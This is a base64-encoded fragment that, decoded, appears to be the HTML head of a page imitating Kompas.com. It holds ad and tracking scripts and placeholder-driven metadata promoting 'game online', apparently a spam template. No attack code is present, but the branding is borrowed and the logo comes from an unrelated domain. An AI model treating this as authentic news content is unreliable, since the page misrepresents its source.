JvdG8rQ29uZGVuc2VkOjIwMCwzMDAsNzAwfFJvYm90bzozMDAsMzAwaSw0MDAsNDAwaSw1MDAsNzAwLDcwMGkiPgo8bGluayByZWw9InByZWNvbm5lY3QiIGhyZWY9Imh0dHBzOi8vc2NyaXB0cy5qaXhpZS5tZWRpYSIvPgoKPHNjcmlwdCBzcmM9Imh0dHBzOi8vYXNzZXQua29tcGFzLmNvbS9kYXRhLzIwMTcvd3AvanMvanF1ZXJ5LTEuMTIuMC5taW4uanMiIHR5cGU9InRleHQvamF2YXNjcmlwdCI+PC9zY3JpcHQ+PG1ldGEgaHR0cC1lcXVpdj0ib3JpZ2luLXRyaWFsIiBjb250ZW50PSJBbEsyVVI1U2tBbGo4ampkRWM5cDNGM3h1RllsRjZMWWpBTUwzRU9xdzFnMjZlQ3dXUGpkbWVjVUx2Qkg1TVZQb3FLWXJPZlBoWVZMNzF4QVhJMUlCUW9BQUFCOGV5SnZjbWxuYVc0aU9pSm9kSFJ3Y3pvdkwyUnZkV0pzWldOc2FXTnJMbTVsZERvME5ETWlMQ0ptWldGMGRYSmxJam9pVjJWaVZtbGxkMWhTWlhGMVpYTjBaV1JYYVhSb1JHVndjbVZqWVhScGIyNGlMQ0psZUhCcGNua2lPakUzTlRnd05qY3hPVGtzSW1selUzVmlaRzl0WVdsdUlqcDBjblZsZlE9PSIgLz48bWV0YSBodHRwLWVxdWl2PSJvcmlnaW4tdHJpYWwiIGNvbnRlbnQ9IkFtbTgvTm12dlFmaHdDaWI2STdac21VeGlTQ2ZPeFd4SGF5Snd5VTFyM2dSSUl0enI3Yk5RaWQ2TzhaWWFFMUdTUVRhNjlXd2hQQzlmbHEvb1lrUkJ3c0FBQUNDZXlKdmNtbG5hVzRpT2lKb2RIUndjem92TDJkdmIyZHNaWE41Ym1ScFkyRjBhVzl1TG1OdmJUbzBORE1pTENKbVpXRjBkWEpsSWpvaVYyVmlWbWxsZDFoU1pYRjFaWE4wWldSWGFYUm9SR1Z3Y21WallYUnBiMjRpTENKbGVIQnBjbmtpT2pFM05UZ3dOamN4T1Rrc0ltbHpVM1ZpWkc5dFlXbHVJanAwY25WbGZRPT0iIC8+PG1ldGEgaHR0cC1lcXVpdj0ib3JpZ2luLXRyaWFsIiBjb250ZW50PSJBOW5ydW5LZFU1bTk2UFNOMVhzU0dyM3FPUDBsdlBGVUIyQWlBeWxDRGxONURUbDE3dURGa3BRdUhqMUFGdGdXTHhwTGFpQlp1aHJ0YjJXT3U3b2ZId0VBQUFDS2V5SnZjbWxuYVc0aU9pSm9kSFJ3Y3pvdkwyUnZkV0pzWldOc2FXTnJMbTVsZERvME5ETWlMQ0ptWldGMGRYSmxJam9pUVVsUWNtOXRjSFJCVUVsTmRXeDBhVzF2WkdGc1NXNXdkWFFpTENKbGVIQnBjbmtpT2pFM056UXpNVEEwTURBc0ltbHpVM1ZpWkc5dFlXbHVJanAwY25WbExDSnBjMVJvYVhKa1VHRnlkSGtpT25SeWRXVjkiIC8+PG1ldGEgaHR0cC1lcXVpdj0ib3JpZ2luLXRyaWFsIiBjb250ZW50PSJBOTNib3ZSK1FWWE54Mi8zOHFEYm1lWVlmMXdkdGU5RU8zN0s5ZU1xM3IrNTQxcW8wYnloWVU4OTlCaFBCN0N2OVFxRDd3SWJSMUI2T0FjOWtFZllDQTRBQUFDUWV5SnZjbWxuYVc0aU9pSm9kSFJ3Y3pvdkwyZHZiMmRzWlhONWJtUnBZMkYwYVc5dUxtTnZiVG8wTkRNaUxDSm1aV0YwZFhKbElqb2lRVWxRY205dGNIUkJVRWxOZFd4MGFXMXZaR0ZzU1c1d2RYUWlMQ0psZUhCcGNua2lPakUzTnpRek1UQTBNREFzSW1selUzVmlaRzl0WVdsdUlqcDBjblZsTENKcGMxUm9hWEprVUdGeWRIa2lPblJ5ZFdWOSIgLz48bWV0YSBodHRwLWVxdWl2PSJvcmlnaW4tdHJpYWwiIGNvbnRlbnQ9IkExUzVmb2pyQXVuU0RyRmJEOE9mR21GSGRSRlp5bVNNLzFzczNHK05FdHRDTGZIa1h2bGNGNkxHTEg4TW81UGFrTE8xc0NBU1hVMS9nUWY2WEd1VEJnd0FBQUNRZXlKdmNtbG5hVzRpT2lKb2RIUndjem92TDJkdmIyZHNaWFJoWjNObGNuWnBZMlZ6TG1OdmJUbzBORE1pTENKbVpXRjBkWEpsSWpvaVFVbFFjbTl0Y0hSQlVFbE5kV3gwYVcxdlpHRnNTVzV3ZFhRaUxDSmxlSEJwY25raU9qRTNOelF6TVRBME1EQXNJbWx6VTNWaVpHOXRZV2x1SWpwMGNuVmxMQ0pwYzFSb2FYSmtVR0Z5ZEhraU9uUnlkV1Y5IiAvPjxzY3JpcHQgc3JjPSJodHRwczovL3NlY3VyZXB1YmFkcy5nLmRvdWJsZWNsaWNrLm5ldC9wYWdlYWQvbWFuYWdlZC9qcy9ncHQvbTIwMjUxMDE2MDEwMS9wdWJhZHNfaW1wbC5qcz9jYj0zMTA5NTMzMSIgYXN5bmM9IiI+PC9zY3JpcHQ+PGxpbmsgaHJlZj0iaHR0cHM6Ly9zZWN1cmVwdWJhZHMuZy5kb3VibGVjbGljay5uZXQvcGFnZWFkL21hbmFnZWQvZGljdC9tMjAyNTEwMTQwMTAxL2dwdCIgcmVsPSJjb21wcmVzc2lvbi1kaWN0aW9uYXJ5IiAvPgo8c2NyaXB0IHNyYz0iaHR0cHM6Ly9hc3NldC5rb21wYXMuY29tL2RhdGEvMjAxNy93cC9qcy9tb2Rlcm5penIuY3VzdG9tLmpzIiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPjwvc2NyaXB0PgoKPGxpbmsgcmVsPSJwcmVjb25uZWN0IiBocmVmPSJodHRwczovL3NjcmlwdHMuaml4aWUubWVkaWEiLz4KCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4Kd2luZG93LmppeGllX28gPSB7CglhY2NvdW50aWQ6ICI5MjYyYmYyNTkwZDU1ODczNmNhYzRmZmY3OTc4ZmNiMSIsCglwYXJ0bmVyX2Nvb2tpZTogJ2ttcHNfdXNyaWQnLAoJZXh0ZXJuYWxfaWRzOiBbJ3RkaWQnLCd0ZGlkMicsJ2lmbyddLAoJc2hhMjU2bWFpbF9jb29raWU6J3VzZXJtYWlsJywKCWFkX2Jsb2NrZXI6IHRydWUsCglsb2diaWRzOiB0cnVlLAoJdXNlcnByb2ZpbGU6IHRydWUsCglzaGEyNTZwaF9jb29raWU6J2ttcHNfdXBobicsCn07Cjwvc2NyaXB0Pgo8c2NyaXB0IGFzeW5jPSIiIHNyYz0iaHR0cHM6Ly9zY3JpcHRzLmppeGllLm1lZGlhL2p4cHVibGlzaGVyXzNfMS5taW4uanMiIHR5cGU9InRleHQvamF2YXNjcmlwdCI+PC9zY3JpcHQ+CiAKCgk8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CgoJCXZhciBrZXl3b3JkX2RhdGEgPSAiIgoJCXZhciBhcnJheV9rZXl3b3JkcyA9IGtleXdvcmRfZGF0YS5zcGxpdCgiLCIpOwoKCQl3aW5kb3cuaml4aWVfcCA9IHdpbmRvdy5qaXhpZV9wIHx8IFtdOwoJCXdpbmRvdy5qaXhpZV9wLnB1c2goewoJCQlhY3Rpb246ICJ2aXNpdCIsCgkJCXBhcmFtZXRlcnM6ewoJCQkJaXRlbWlkOiIyMDI1MDkwNDE3MjAwMDM4OCIsIAoJCQkJa2V5d29yZHM6YXJyYXlfa2V5d29yZHMsCgkJCQl0aXRsZToiPD89ICRicmFuZHVwcGVyID8+OiBTZW5zYXNpIER1bmlhIEdhbWUgT25saW5lIGRlbmdhbiBTaXN0ZW0gUGVybWFpbmFuIEFkYXB0aWYiLAoJCQkJZGVzY3JpcHRpb246ICI8Pz0gJGJyYW5kdXBwZXIgPz4gaGFkaXIgc2ViYWdhaSBwbGF0Zm9ybSBoaWJ1cmFuIGRpZ2l0YWwgeWFuZyBtZW5hd2Fya2FuIHBlbmdhbGFtYW4gYmVybWFpbiBnYW1lIG9ubGluZSBkZW5nYW4ga29uc2VwIG1vZGVybiBkYW4gc2lzdGVtIHBlcm1haW5hbiB5YW5nIGFkYXB0aWYuIiwKCQkJCWNhdGVnb3J5OiAiUHJvdiIKCQkJfQoJCX0pOwoJPC9zY3JpcHQ+CgogIAo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CiAgdmFyIGtleXdvcmRCcmFuZFNhZmV0eSA9ICI8Pz0gJGJyYW5kdXBwZXIgPz4gaGFkaXIgc2ViYWdhaSBwbGF0Zm9ybSBoaWJ1cmFuIGRpZ2l0YWwgeWFuZyBtZW5hd2Fya2FuIHBlbmdhbGFtYW4gYmVybWFpbiBnYW1lIG9ubGluZSBkZW5nYW4ga29uc2VwIG1vZGVybiBkYW4gc2lzdGVtIHBlcm1haW5hbiB5YW5nIGFkYXB0aWYuIjsKPC9zY3JpcHQ+Cgo8IS0tIFN0YXJ0IEFkIEJsb2NraW5nIFJlY292ZXJ5IE1lc3NhZ2UgLS0+CjxzY3JpcHQgYXN5bmM9IiIgc3JjPSJodHRwczovL2Z1bmRpbmdjaG9pY2VzbWVzc2FnZXMuZ29vZ2xlLmNvbS9pL3B1Yi05MDEyNDY4NDY5NzcxOTczP2Vycz0xIiBub25jZT0iSU92bXhBYXNvbEJLd0JfcXphSlZNZyIgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij48L3NjcmlwdD48c2NyaXB0IG5vbmNlPSJJT3ZteEFhc29sQkt3Ql9xemFKVk1nIiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPihmdW5jdGlvbigpIHtmdW5jdGlvbiBzaWduYWxHb29nbGVmY1ByZXNlbnQoKSB7aWYgKCF3aW5kb3cuZnJhbWVzWydnb29nbGVmY1ByZXNlbnQnXSkge2lmIChkb2N1bWVudC5ib2R5KSB7Y29uc3QgaWZyYW1lID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnaWZyYW1lJyk7IGlmcmFtZS5zdHlsZSA9ICd3aWR0aDogMDsgaGVpZ2h0OiAwOyBib3JkZXI6IG5vbmU7IHotaW5kZXg6IC0xMDAwOyBsZWZ0OiAtMTAwMHB4OyB0b3A6IC0xMDAwcHg7JzsgaWZyYW1lLnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7IGlmcmFtZS5uYW1lID0gJ2dvb2dsZWZjUHJlc2VudCc7IGRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoaWZyYW1lKTt9IGVsc2Uge3NldFRpbWVvdXQoc2lnbmFsR29vZ2xlZmNQcmVzZW50LCAwKTt9fX1zaWduYWxHb29nbGVmY1ByZXNlbnQoKTt9KSgpOzwvc2NyaXB0Pgo8IS0tIEVuZG9mIEFkIEJsb2NraW5nIFJlY292ZXJ5IE1lc3NhZ2UgLS0+PCEtLSBTdGFydDogR1BUIEFzeW5jIC0tPgo8c2NyaXB0IGFzeW5jPSIiIHNyYz0iaHR0cHM6Ly9zZWN1cmVwdWJhZHMuZy5kb3VibGVjbGljay5uZXQvdGFnL2pzL2dwdC5qcyIgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij48L3NjcmlwdD4KCgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+Cgl2YXIgZ3B0YWRzbG90cz1bXTsKCXZhciBnb29nbGV0YWcgPSBnb29nbGV0YWcgfHwge307Cglnb29nbGV0YWcuY21kID0gZ29vZ2xldGFnLmNtZCB8fCBbXTsKCShmdW5jdGlvbigpeyB2YXIgZ2FkcyA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwoJCWdhZHMuYXN5bmMgPSB0cnVlOyBnYWRzLnR5cGUgPSAndGV4dC9qYXZhc2NyaXB0JzsKCQkvLyB2YXIgdXNlU1NMID0gJ2h0dHBzOicgPT0gZG9jdW1lbnQubG9jYXRpb24ucHJvdG9jb2w7CgkJZ2Fkcy5zcmMgPSAnaHR0cHM6Ly9zZWN1cmVwdWJhZHMuZy5kb3VibGVjbGljay5uZXQvdGFnL2pzL2dwdC5qcyc7CgkJdmFyIG5vZGUgPSBkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnc2NyaXB0JylbMF07CgkJbm9kZS5wYXJlbnROb2RlLmluc2VydEJlZm9yZShnYWRzLCBub2RlKTsKCX0pKCk7Cjwvc2NyaXB0PiAKCgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CgoJZ29vZ2xldGFnLmNtZC5wdXNoKGZ1bmN0aW9uKCkgewoKCQkvL0Fkc2xvdCAxIGRlY2xhcmF0aW9uCgkJZ3B0YWRzbG90c1sxXT0gZ29vZ2xldGFnLmRlZmluZVNsb3QoJy8zMTgwMDY2NS9LT01QQVMuQ09NL25ld3MvbmV3c19pbmRleCcsIFtbNzI4LCA5MF0sIFs5NzAsIDkwXSwgWzk3MCwgMjUwXSwgWzM2MCwgMTAwXSwgWzM2MCwgMTUwXSwgWzM4NCwgMTAwXSwgWzM5MywgMTAwXV0sJ2Rpdi1ncHQtYWQtVG9wXzEtMScpLnNldFRhcmdldGluZygnUG9zJyxbJ1RvcF8xJ10pLnNldFRhcmdldGluZygna2dfcG9zJywgWyd0b3BfMSddKS5hZGRTZXJ2aWNlKGdvb2dsZXRhZy5wdWJhZHMoKSk7CgpkaW52ID0gZ29vZ2xldGFnLmRlZmluZU91dE9mUGFnZVNsb3QoJy8zMTgwMDY2NS9LT01QQVMuQ09NL25ld3MvdmlnbmV0dGUnLCBnb29nbGV0YWcuZW51bXMuT3V0T2ZQYWdlRm9ybWF0LklOVEVSU1RJVElBTCk7CmlmIChkaW52ICE9PSBudWxsKSB7CiAgICAgICAgIGRpbnYuc2V0VGFyZ2V0aW5nKCdQb3MnLCBbJ3ZpZ25ldHRlJ10pOwogICAgICAgICBkaW52LnNldFRhcmdldGluZygna2dfcG9zJywgWyd2aWduZXR0ZSddKTsKfS8vQWRzbG90IDIgZGVjbGFyYXRpb24KCQlncHRhZHNsb3RzWzJdPSBnb29nbGV0YWcuZGVmaW5lU2xvdCgnLzMxODAwNjY1L0tPTVBBUy5DT00vbmV3cy9uZXdzX2luZGV4JywgW1szMDAsNjAwXSxbMzAwLDI1MF0sWzE2MCwgNjAwXV0sJ2Rpdi1ncHQtYWQtR2lhbnQnKS5zZXRUYXJnZXRpbmcoJ1BvcycsWydHaWFudCddKS5zZXRUYXJnZXRpbmcoJ2tnX3BvcycsIFsnZ2lhbnQnXSkuYWRkU2VydmljZShnb29nbGV0YWcucHViYWRzKCkpOy8vQWRzbG90IDkgZGVjbGFyYXRpb24KCQkJZ3B0YWRzbG90c1s5XT0gZ29vZ2xldGFnLmRlZmluZVNsb3QoJy8zMTgwMDY2NS9LT01QQVMuQ09NL25ld3MvbmV3c19pbmRleCcsIFtbNDY4LDYwXSxbNzI4LDkwXSxbOTcwLDkwXSxbMTEwMCw1MF0sWzExMDAsMTUwXV0sJ2Rpdi1ncHQtYWQtSG9yaXpvbnRhbF9BZCcpLnNldFRhcmdldGluZygnUG9zJyxbJ0hvcml6b250YWxfQWQnXSkuc2V0VGFyZ2V0aW5nKCdrZ19wb3MnLCBbJ2hvcml6b250YWxfYWQnXSkuYWRkU2VydmljZShnb29nbGV0YWcucHViYWRzKCkpO2dwdGFkc2xvdHNbNDExMjFdID0gZ29vZ2xldGFnLmRlZmluZU91dE9mUGFnZVNsb3QoJy8zMTgwMDY2NS9LT01QQVMuQ09NL25ld3MnLCAnZGl2LWdwdC1mb3Itb3V0c3RyZWFtJykuc2V0VGFyZ2V0aW5nKCdQb3MnLFsnT3V0c3RyZWFtJ10pLmFkZFNlcnZpY2UoZ29vZ2xldGFnLnB1YmFkcygpKTsvL0Fkc2xvdCA4IGRlY2xhcmF0aW9uCgkJZ3B0YWRzbG90c1s4XT0gZ29vZ2xldGFnLmRlZmluZVNsb3QoJy8zMTgwMDY2NS9LT01QQVMuQ09NL25ld3MvbmV3c19pbmRleCcsIFtbMTIwLDYwMF0sWzE2MCw2MDBdXSwnZGl2LWdwdC1hZC1Ta3lzY3JhcGVyJykuc2V0VGFyZ2V0aW5nKCdQb3MnLFsnU2t5c2NyYXBlciddKS5zZXRUYXJnZXRpbmcoJ2tnX3BvcycsIFsnc2t5c2NyYXBlciddKS5hZGRTZXJ2aWNlKGdvb2dsZXRhZy5wdWJhZHMoKSk7Z3B0YWRzbG90c1s0MTEyXT0gZ29vZ2xldGFnLmRlZmluZU91dE9mUGFnZVNsb3QoJy8zMTgwMDY2NS9LT01QQVMuQ09NL25ld3MnLCdkaXYtZ3B0LWFkLTk3NDY0ODgxMDY4MjE0NDE4MS00MTEyJykuc2V0VGFyZ2V0aW5nKCdQb3MnLFsnbmF0aXZlX2Jhbm5lcl9hcnRpY2xlJ10pLnNldFRhcmdldGluZygna2dfcG9zJywgWyduYXRpdmVfYmFubmVyX2FydGljbGUnXSkuYWRkU2VydmljZShnb29nbGV0YWcucHViYWRzKCkpO3NldENvbnRleHR1YWxUYXJnZXRpbmcoKTsKaWYodHlwZW9mIGtleXdvcmRCcmFuZFNhZmV0eSA9PT0gJ3VuZGVmaW5lZCcpewogICAgY29uc29sZS5sb2coIm5vIGFydGljbGUga2V5d29yZHMiKTsKfWVsc2V7CiAgICBjb25zb2xlLmxvZygiZXhlY3V0ZSBrZXl3b3JkcyIpOwogICAgc2V0S2V5d29yZFRhcmdldGluZygpOwp9CgpmdW5jdGlvbiBzZXRDb250ZXh0dWFsVGFyZ2V0aW5nKCkgewogICAgZGZwX2tleXdvcmRzID0gZ2V0S2V5d29yZHMoKTsKICAgIGNvbnNvbGUubG9nKGRmcF9rZXl3b3Jkcyk7CiAgICBnb29nbGV0YWcucHViYWRzKCkuc2V0VGFyZ2V0aW5nKCdjb250ZXh0dWFsX3RhcmdldGluZycsIGRmcF9rZXl3b3Jkcyk7Cn0KCmZ1bmN0aW9uIGdldEtleXdvcmRzKCl7CiAgICB2YXIgbWV0YXMgPSBkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnbWV0YScpOwogICAgdmFyIHN0ciA9IChtZXRhcy5uYW1lZEl0ZW0oImNvbnRlbnRfdGFncyIpIHx8IHt9KS5jb250ZW50OwogICAgaWYgKHN0ciE9bnVsbCl7CiAgICAgICAgdmFyIGtleXdvcmRzID0gc3RyLnRvTG93ZXJDYXNlKCkuc3BsaXQoIiwiKS5tYXAoZnVuY3Rpb24oaXRlbSkgewogICAgICAgICAgICByZXR1cm4gaXRlbS50cmltKCkucmVwbGFjZSgvXHNccysvZywgJyAnKTsKICAgICAgICB9KTsKICAgICAgICByZXR1cm4ga2V5d29yZHM7CiAgICB9CiAgICByZXR1cm4gWycnXTsKfQoKLy8gczpuZXcga2V5d29yZCB0YXJnZXRpbmcgdmlhIEdBTQpmdW5jdGlvbiBzZXRLZXl3b3JkVGFyZ2V0aW5nKCkgewogICAgZGZwX2tleXdvcmRzID0gZ2V0QXJ0aWNsZSgpOwogICAgY29uc29sZS5sb2coZGZwX2tleXdvcmRzKTsKICAgIGdvb2dsZXRhZy5wdWJhZHMoKS5zZXRUYXJnZXRpbmcoJ2tleXdvcmRfdGFyZ2V0aW5nJywgZGZwX2tleXdvcmRzKTsKfQoKZnVuY3Rpb24gZ2V0QXJ0aWNsZSgpewogICAgdmFyIHN0cktleSA9IGtleXdvcmRCcmFuZFNhZmV0eTsKICAgIGlmIChzdHJLZXkhPW51bGwpewogICAgICAgIHZhciBrZXl3b3JkcyA9IHN0cktleS50b0xvd2VyQ2FzZSgpLnNwbGl0KC9bIC5dLykubWFwKGZ1bmN0aW9uKGl0ZW0pIHsKICAgICAgICAgICAgcmV0dXJuIGl0ZW0udHJpbSgpLnJlcGxhY2UoL1xXKigmYW1wO3F1b3Q7KVxXKi9nLCAnJykucmVwbGFjZSgvKFteYS16QS1aMC05XSR8WygpXG5cIl0pL2csICcnKTsKICAgICAgICB9KTsKICAgICAgICBrZXl3b3JkcyA9IGtleXdvcmRzLmZpbHRlcigoc3RyKSA9PiBzdHIgIT09ICcnKTsKICAgICAgICByZXR1cm4ga2V5d29yZHM7CiAgICB9CiAgICByZXR1cm4gbnVsbDsKfQovLyBlOm5ldyBrZXl3b3JkIHRhcmdldGluZyB2aWEgR0FNCgp0cnl7CiAgICAvLyBSZXRyaWV2aW5nIGxvY2FsIHN0b3JhZ2UKICAgIHZhciBscyA9IHdpbmRvdy5sb2NhbFN0b3JhZ2U7CgkKCXZhciBsciA9IGxzLmdldEl0ZW0oIl9qeGl0ciIpOwoJaWYgKGxyICYmIGxyLmxlbmd0aCA+IDIpewoJCXRyeXsKCQkJZ29vZ2xldGFnLnB1YmFkcygpLnNldFRhcmdldGluZygnanhfYXVkaWVuY2VfaW50ZXJlc3QnLCBKU09OLnBhcnNlKGxyKS5qb2luKCkuc3BsaXQoJywnKSk7CgkJfWNhdGNoIHt9Cgl9CgkKCXZhciBsaSA9IGxzLmdldEl0ZW0oIl9qeGl0ZCIpOwoJaWYgKGxpICYmIGxpLmxlbmd0aCA+IDIpewoJCXRyeXsKCQkJZ29vZ2xldGFnLnB1YmFkcygpLnNldFRhcmdldGluZygnanhfYXVkaWVuY2VfaW50ZW5kJywgSlNPTi5wYXJzZShsaSkuam9pbigpLnNwbGl0KCcsJykpOwoJCX1jYXRjaCB7fQoJfQoKfWNhdGNoKGUpewogICAgICAvL2NvbnNvbGUubG9nKCJMb2NhbHN0b3JhZ2Ugbm90IGFjY2Vzc2libGUgb3IgYW55IG90aGVyIGVycm9yOiAiICsgZS5tZXNzYWdlKTsKfQppZigvQW5kcm9pZHx3ZWJPU3xpUGhvbmV8aVBhZHxpUG9kfEJsYWNrQmVycnl8SUVNb2JpbGV8T3BlcmEgTWluaS9pLnRlc3QobmF2aWdhdG9yLnVzZXJBZ2VudCkpewogICAgZ29vZ2xldGFnLnB1YmFkcygpLnNldFRhcmdldGluZygna2dfaW52X3R5cGUnLCdtd2ViJyk7Cn1lbHNlewogICAgIGdvb2dsZXRhZy5wdWJhZHMoKS5zZXRUYXJnZXRpbmcoJ2tnX2ludl90eXBlJywnZGVza3RvcCcpOwp9Cmdvb2dsZXRhZy5wdWJhZHMoKS5zZXRUYXJnZXRpbmcoJ2tnX2dyb3VwX3NpdGVzJywna29tcGFzX2NvbScpOwoKCnZhciBybF9hZHhfdmFsID0gJyc7Cgl2YXIgcmxfYWR4X3NlYyA9IG5ldyBEYXRlKCkuZ2V0U2Vjb25kcygpOwoJaWYocmxfYWR4X3NlYz09MXx8cmxfYWR4X3NlYz09Mil7cmxfYWR4X3ZhbD0nMzAwJzt9CglpZihybF9hZHhfc2VjPT0zfHxybF9hZHhfc2VjPT00KXtybF9hZHhfdmFsPSc2MDAnO30KCWlmKHJsX2FkeF9zZWM9PTV8fHJsX2FkeF9zZWM9PTYpe3JsX2FkeF92YWw9JzkwMCc7fQoJaWYocmxfYWR4X3NlYz09N3x8cmxfYWR4X3NlYz09OCl7cmxfYWR4X3ZhbD0nMTIwMCc7fQoJaWYocmxfYWR4X3NlYz09OXx8cmxfYWR4X3NlYz09MTApe3JsX2FkeF92YWw9JzE1MDAnO30KCWlmKHJsX2FkeF9zZWM9PTExfHxybF9hZHhfc2VjPT0xMil7cmxfYWR4X3ZhbD0nMTgwMCc7fQoJY29uc29sZS5sb2coJ3JsX2FkeF92YWwgPSAnK3JsX2FkeF92YWwpOwoJaWYocmxfYWR4X3ZhbCE9JycpewoJZ29vZ2xldGFnLnB1YmFkcygpLnNldFRhcmdldGluZygncmxfYWR4JyxybF9hZHhfdmFsKTsKCX1nb29nbGV0YWcucHViYWRzKCkuc2V0VGFyZ2V0aW5nKCdjdXJyZW50VXJsJywgJzIwMjUvMDkvMDQvMTcyMDAwMzg4Jyk7Z29vZ2xldGFnLnB1YmFkcygpLnNldFRhcmdldGluZygncGFnZScsICdwYWdlXzEnKTsKCQkKCiAgICAgICAgZ29vZ2xldGFnLnB1YmFkcygpLmVuYWJsZVNpbmdsZVJlcXVlc3QoKTsKICAgICAgICAKICAgICAgICBnb29nbGV0YWcuZW5hYmxlU2VydmljZXMoKTsKCX0pOwoKCjwvc2NyaXB0PgoKPCEtLSBFbmQ6IEdQVCAtLT4KCgo8IS0tIChhZHMuZ29vZ2xlLmhlYWQucnMpIC0tPgoKPHNjcmlwdCB0eXBlPSJhcHBsaWNhdGlvbi9sZCtqc29uIj4KewogICJAY29udGV4dCI6ICJodHRwOi8vc2NoZW1hLm9yZyIsCiAgIkB0eXBlIjogIldlYlNpdGUiLAogICJ1cmwiOiAiPD89ICRjYW5vbmljYWwgPz4iLAogICJwb3RlbnRpYWxBY3Rpb24iOiB7CiAgICAiQHR5cGUiOiAiU2VhcmNoQWN0aW9uIiwKICAgICJ0YXJnZXQiOiAiPD89ICRjYW5vbmljYWwgPz4/cT17c2VhcmNoX3Rlcm1fc3RyaW5nfSIsCiAgICAicXVlcnktaW5wdXQiOiAicmVxdWlyZWQgbmFtZT1zZWFyY2hfdGVybV9zdHJpbmciCiAgfQp9Cjwvc2NyaXB0PgoKICA8c2NyaXB0IHR5cGU9ImFwcGxpY2F0aW9uL2xkK2pzb24iPgogICAgeyJAY29udGV4dCI6Imh0dHBzOlwvXC9zY2hlbWEub3JnIiwiQHR5cGUiOiJCcmVhZGNydW1iTGlzdCIsIml0ZW1MaXN0RWxlbWVudCI6W3siQHR5cGUiOiJMaXN0SXRlbSIsInBvc2l0aW9uIjoxLCJuYW1lIjoiS29tcGFzLmNvbSIsIml0ZW0iOiJodHRwczpcL1wvd3d3LmtvbXBhcy5jb20ifSx7IkB0eXBlIjoiTGlzdEl0ZW0iLCJwb3NpdGlvbiI6MiwibmFtZSI6Ikphd2EgQmFyYXQiLCJpdGVtIjoiaHR0cHM6XC9cL3d3dy5rb21wYXMuY29tXC9qYXdhLWJhcmF0In1dfSAgPC9zY3JpcHQ+CgoKPHNjcmlwdCB0eXBlPSJhcHBsaWNhdGlvbi9sZCtqc29uIj4KeyJAY29udGV4dCI6Imh0dHA6XC9cL3NjaGVtYS5vcmciLCJAdHlwZSI6Ik5ld3NBcnRpY2xlIiwibWFpbkVudGl0eU9mUGFnZSI6eyJAdHlwZSI6IldlYlBhZ2UiLCJAaWQiOiJodHRwczpcL1wvd3d3LmtvbXBhcy5jb21cL2phd2EtYmFyYXRcL3JlYWRcLzIwMjVcLzA5XC8wNFwvMTcyMDAwMzg4XC9rb21wb2wtY29zbWFzLWRpcGVjYXQtdGlkYWstaG9ybWF0LXBlcm5haC10ZXJzZXJldC1rYXN1cy1wZW55aXJhbWFuIyJ9LCJoZWFkbGluZSI6Ijw/PSAkYnJhbmR1cHBlciA/PjogU2Vuc2FzaSBEdW5pYSBHYW1lIE9ubGluZSBkZW5nYW4gU2lzdGVtIFBlcm1haW5hbiBBZGFwdGlmIiwiaW1hZ2UiOnsiQHR5cGUiOiJJbWFnZU9iamVjdCIsInVybCI6Imh0dHBzOlwvXC9hc3NldC5rb21wYXMuY29tXC9jcm9wc1wvaUc3YTNzVGlaVDdwQWxqbVlLTGZvSmJFbkpRPVwvMHgwOjB4MFwvNzgweDM5MFwvZGF0YVwvcGhvdG9cLzIwMjVcLzA5XC8wM1wvNjhiODM2YmM1Mjc5Ni5qcGVnIiwiaGVpZ2h0Ijo1MDAsIndpZHRoIjo3NTB9LCJkYXRlUHVibGlzaGVkIjoiMjAyNS0wOS0wNFQxMDoyMDowMCswMDowMCIsImRhdGVNb2RpZmllZCI6IjIwMjUtMDktMDRUMTA6MjA6MDArMDA6MDAiLCJhdXRob3IiOnsiQHR5cGUiOiJQZXJzb24iLCJuYW1lIjoiPD89ICRicmFuZHVwcGVyID8+IiwidXJsIjoiaHR0cHM6XC9cL2luZGVrcy5rb21wYXMuY29tXC9wcm9maWxlXC8ifSwicHVibGlzaGVyIjp7IkB0eXBlIjoiT3JnYW5pemF0aW9uIiwibmFtZSI6IktvbXBhcy5jb20iLCJsb2dvIjp7IkB0eXBlIjoiSW1hZ2VPYmplY3QiLCJ1cmwiOiJodHRwczpcL1wvYXNzZXQua29tcGFzLmNvbVwvZGF0YVwvMjAxN1wvd3BcL2ltYWdlc1wvbG9nby1rb21wYXNjb20tam1kLnBuZyIsIndpZHRoIjoyNTUsImhlaWdodCI6NTV9fSwiZGVzY3JpcHRpb24iOiI8Pz0gJGJyYW5kdXBwZXIgPz4gaGFkaXIgc2ViYWdhaSBwbGF0Zm9ybSBoaWJ1cmFuIGRpZ2l0YWwgeWFuZyBtZW5hd2Fya2FuIHBlbmdhbGFtYW4gYmVybWFpbiBnYW1lIG9ubGluZSBkZW5nYW4ga29uc2VwIG1vZGVybiBkYW4gc2lzdGVtIHBlcm1haW5hbiB5YW5nIGFkYXB0aWYuIn08L3NjcmlwdD4KCgo8c2NyaXB0IHR5cGU9ImFwcGxpY2F0aW9uL2xkK2pzb24iPgp7CiAgIkBjb250ZXh0IiA6ICJodHRwOi8vc2NoZW1hLm9yZyIsCiAgIkB0eXBlIiA6ICJPcmdhbml6YXRpb24iLAogICJ1cmwiOiAiPD89ICRjYW5vbmljYWwgPz4iLAogICJsb2dvIjogImh0dHBzOi8vdnAxLnRoZXZpbGVwcm9qZWN0Lnh5ei9icmFuZC1sb2dvLzw/PSAkYnJhbmRsb3dlciA/Pi9sb2dvLnBuZyIsCiAgInNhbWVBcyIgOiBbCiAgICAiaHR0cHM6Ly93d3cuZmFjZWJvb2suY29tL2tvbXBhc2NvbSIsCiAgICAiaHR0cHM6Ly93d3cudHdpdHRlci5jb20va29tcGFzY29tIiwKICAgICJodHRwczovL2luc3RhZ3JhbS5jb20va29t